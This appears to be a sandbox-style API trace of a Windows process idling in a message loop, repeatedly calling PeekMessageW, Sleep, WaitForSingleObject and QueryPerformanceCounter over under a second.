[0137.926] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.926] Sleep (dwMilliseconds=0x64) [0137.942] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734966442) returned 1 [0137.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734966522) returned 1 [0137.942] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.943] Sleep (dwMilliseconds=0x64) [0137.956] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.956] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735014981) returned 1 [0137.956] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735015052) returned 1 [0137.956] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.957] Sleep (dwMilliseconds=0x64) [0137.972] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735068153) returned 1 [0137.972] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735068225) returned 1 [0137.972] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.972] Sleep (dwMilliseconds=0x64) [0137.987] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735121370) returned 1 [0137.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735121439) returned 1 [0137.988] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.988] Sleep (dwMilliseconds=0x64) [0138.006] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735184132) returned 1 [0138.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735184201) returned 1 [0138.006] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.006] Sleep (dwMilliseconds=0x64) [0138.019] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.019] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735229173) returned 1 [0138.019] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735229244) returned 1 [0138.019] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.019] Sleep (dwMilliseconds=0x64) [0138.034] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.034] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735282196) returned 1 [0138.034] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735282270) returned 1 [0138.035] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.035] Sleep (dwMilliseconds=0x64) [0138.050] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735335746) returned 1 [0138.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735335815) returned 1 [0138.050] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.051] Sleep (dwMilliseconds=0x64) [0138.065] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735387979) returned 1 [0138.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735388052) returned 1 [0138.066] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.066] Sleep (dwMilliseconds=0x64) [0138.081] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735443054) returned 1 [0138.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735443124) returned 1 [0138.082] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.082] Sleep (dwMilliseconds=0x64) [0138.097] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.097] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735496761) returned 1 [0138.097] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735496833) returned 1 [0138.097] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.098] Sleep (dwMilliseconds=0x64) [0138.112] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.112] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735548424) returned 1 [0138.112] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735548494) returned 1 [0138.113] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.113] Sleep (dwMilliseconds=0x64) [0138.128] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735603049) returned 1 [0138.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735603118) returned 1 [0138.129] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.129] Sleep (dwMilliseconds=0x64) [0138.143] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735654612) returned 1 [0138.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735654679) returned 1 [0138.144] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.144] Sleep (dwMilliseconds=0x64) [0138.161] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735716377) returned 1 [0138.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735716441) returned 1 [0138.162] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.162] Sleep (dwMilliseconds=0x64) [0138.175] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735762431) returned 1 [0138.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735762502) returned 1 [0138.175] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.175] Sleep (dwMilliseconds=0x64) [0138.190] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735814625) returned 1 [0138.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735814689) returned 1 [0138.190] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.191] Sleep (dwMilliseconds=0x64) [0138.207] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735871626) returned 1 [0138.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735871697) returned 1 [0138.207] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.207] Sleep (dwMilliseconds=0x64) [0138.221] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.221] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735921257) returned 1 [0138.221] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735921330) returned 1 [0138.222] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.222] Sleep (dwMilliseconds=0x64) [0138.237] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.237] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=735974352) returned 1 [0138.237] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=735974423) returned 1 [0138.237] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.238] Sleep (dwMilliseconds=0x64) [0138.253] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.253] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736028225) returned 1 [0138.253] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736028297) returned 1 [0138.253] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.253] Sleep (dwMilliseconds=0x64) [0138.270] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736087805) returned 1 [0138.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736087875) returned 1 [0138.270] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.271] Sleep (dwMilliseconds=0x64) [0138.284] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736134386) returned 1 [0138.284] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736134460) returned 1 [0138.284] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.284] Sleep (dwMilliseconds=0x64) [0138.299] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736187683) returned 1 [0138.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736187758) returned 1 [0138.300] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.300] Sleep (dwMilliseconds=0x64) [0138.315] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.315] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736241072) returned 1 [0138.315] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736241141) returned 1 [0138.315] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.315] Sleep (dwMilliseconds=0x64) [0138.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736297706) returned 1 [0138.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736297894) returned 1 [0138.333] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.333] Sleep (dwMilliseconds=0x64) [0138.347] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.347] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736351263) returned 1 [0138.347] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736351513) returned 1 [0138.348] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.348] Sleep (dwMilliseconds=0x64) [0138.362] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736402950) returned 1 [0138.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736403120) returned 1 [0138.363] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.363] Sleep (dwMilliseconds=0x64) [0138.377] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.378] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736455319) returned 1 [0138.378] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736455489) returned 1 [0138.378] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.379] Sleep (dwMilliseconds=0x64) [0138.393] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.393] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736508300) returned 1 [0138.393] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736508466) returned 1 [0138.394] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.394] Sleep (dwMilliseconds=0x64) [0138.409] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.409] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736561419) returned 1 [0138.409] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736561525) returned 1 [0138.409] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.409] Sleep (dwMilliseconds=0x64) [0138.424] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736615127) returned 1 [0138.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736615296) returned 1 [0138.425] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.425] Sleep (dwMilliseconds=0x64) [0138.440] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736670413) returned 1 [0138.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736670581) returned 1 [0138.441] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.442] Sleep (dwMilliseconds=0x64) [0138.456] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.456] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736722246) returned 1 [0138.456] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736722328) returned 1 [0138.456] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.456] Sleep (dwMilliseconds=0x64) [0138.471] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736776144) returned 1 [0138.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736776330) returned 1 [0138.472] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.472] Sleep (dwMilliseconds=0x64) [0138.498] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.498] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736866521) returned 1 [0138.498] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736866652) returned 1 [0138.498] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.499] Sleep (dwMilliseconds=0x64) [0138.502] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736881813) returned 1 [0138.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736881946) returned 1 [0138.503] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.503] Sleep (dwMilliseconds=0x64) [0138.519] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.519] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736938165) returned 1 [0138.519] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736938294) returned 1 [0138.519] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.520] Sleep (dwMilliseconds=0x64) [0138.533] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.533] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=736988151) returned 1 [0138.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=736988294) returned 1 [0138.534] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.534] Sleep (dwMilliseconds=0x64) [0138.550] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737044542) returned 1 [0138.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737044725) returned 1 [0138.551] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.551] Sleep (dwMilliseconds=0x64) [0138.565] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.565] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737095160) returned 1 [0138.565] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737095339) returned 1 [0138.565] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.566] Sleep (dwMilliseconds=0x64) [0138.580] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.580] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737148441) returned 1 [0138.580] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737148623) returned 1 [0138.581] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.582] Sleep (dwMilliseconds=0x64) [0138.617] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737274274) returned 1 [0138.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737274473) returned 1 [0138.618] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.619] Sleep (dwMilliseconds=0x64) [0138.628] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737310444) returned 1 [0138.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737310619) returned 1 [0138.628] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.629] Sleep (dwMilliseconds=0x64) [0138.643] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737361480) returned 1 [0138.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737361653) returned 1 [0138.643] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.644] Sleep (dwMilliseconds=0x64) [0138.659] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737416891) returned 1 [0138.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737417064) returned 1 [0138.659] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.660] Sleep (dwMilliseconds=0x64) [0138.674] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.674] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737467936) returned 1 [0138.674] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737468099) returned 1 [0138.674] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.675] Sleep (dwMilliseconds=0x64) [0138.690] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737521867) returned 1 [0138.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737522041) returned 1 [0138.690] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.691] Sleep (dwMilliseconds=0x64) [0138.705] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.705] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737574708) returned 1 [0138.705] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737574889) returned 1 [0138.706] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.706] Sleep (dwMilliseconds=0x64) [0138.721] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737628148) returned 1 [0138.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737628326) returned 1 